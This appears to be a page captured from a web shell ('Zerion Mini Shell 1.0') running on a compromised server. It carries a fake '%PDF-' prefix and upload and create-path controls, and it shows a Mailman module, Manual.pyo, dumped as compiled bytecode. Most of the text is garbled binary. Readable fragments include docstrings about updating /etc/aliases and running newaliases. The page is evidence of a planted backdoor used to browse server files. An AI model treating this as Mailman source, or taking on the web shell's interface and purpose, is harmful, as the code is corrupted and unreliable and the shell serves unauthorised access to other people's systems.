%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/MTA/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/MTA/Manual.pyo

�
��ac@s�dZddlZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
mZdd	lmZyeefWnek
r�d
ZdZnXd�Zd
�Zeeed�Zed�ZdS(s6Creation/deletion hooks for manual /etc/aliases files.i����N(tStringIO(tmm_cfg(tMessage(tUtils(tget_switchboard(t_tC_(tmakealiasesiicCsddd��Y}|�S(NtDummycBseZd�Zed�ZRS(cSsdS(N((tself((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytlock*scSsdS(N((R	tunconditionally((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytunlock,s(t__name__t
__module__R
tFalseR(((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pyR)s	(((R((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytmakelock(scCsdS(N((((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytclear1scCs+|dkrdS|j�}t|�td�}|rct�}|sZ|td�IJn|}n(|swtd�GHntd�GHtj}xBt|�D]4\}}	||dI|t|�dI|	IJq�W|s�|JdSt	j
dd�}
tj|
|
td	�|j
�tj�}|j|�dS(
Ns-unsubscribes1The mailing list `%(listname)s' has been created via the through-the-web
interface.  In order to complete the activation of this mailing list, the
proper /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries for the /etc/aliases file:
s�To finish creating your mailing list, you must edit your /etc/aliases (or
equivalent) file by adding the following lines, and possibly running the
`newaliases' program:
s## %(listname)s mailing listt:t textratowners3Mailing list creation request for list %(listname)s(tNonet
internal_nametlenRRRtsyststdoutRRtget_site_emailRtUserNotificationtgetvalueRtDEFAULT_SERVER_LANGUAGEtsend(tmlisttcgitnolocktquiettlistnametfieldsztsfptoutfptktvt	siteownertmsg((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytcreate7s6			,	cCs5|j�}t|�td�}|rJt�}|td�IJ|}ntd�GHtj}xBt|�D]4\}}||dI|t|�dI|IJqkW|s�|JdStj	dd�}t
j||td�|j�t
j�}	tjjd	d
�|	d<tt
j�}
|
j|	d|gd
d
�dS(Ns-unsubscribesOThe mailing list `%(listname)s' has been removed via the through-the-web
interface.  In order to complete the de-activation of this mailing list, the
appropriate /etc/aliases (or equivalent) file must be updated.  The program
`newaliases' may also have to be run.

Here are the entries in the /etc/aliases file that should be removed:
s�
To finish removing your mailing list, you must edit your /etc/aliases (or
equivalent) file by removing the following lines, and possibly running the
`newaliases' program:

## %(listname)s mailing listRRRRs2Mailing list removal request for list %(listname)st	localtimeitDatetrecipst
nodecorate(RRRRRRRRRRRRRRRtemailt
formatdateRtOUTQUEUE_DIRtenqueue(R R!R$R%R&R'R(R)R*R+toutq((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pytremoveis.				,	(t__doc__Rtemail.UtilsR1t	cStringIORtMailmanRRRtMailman.Queue.sbcacheRtMailman.i18nRRtMailman.MTA.UtilsRtTrueRt	NameErrorRRR,R6(((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/MTA/Manual.pyt<module>s$

			2

Zerion Mini Shell 1.0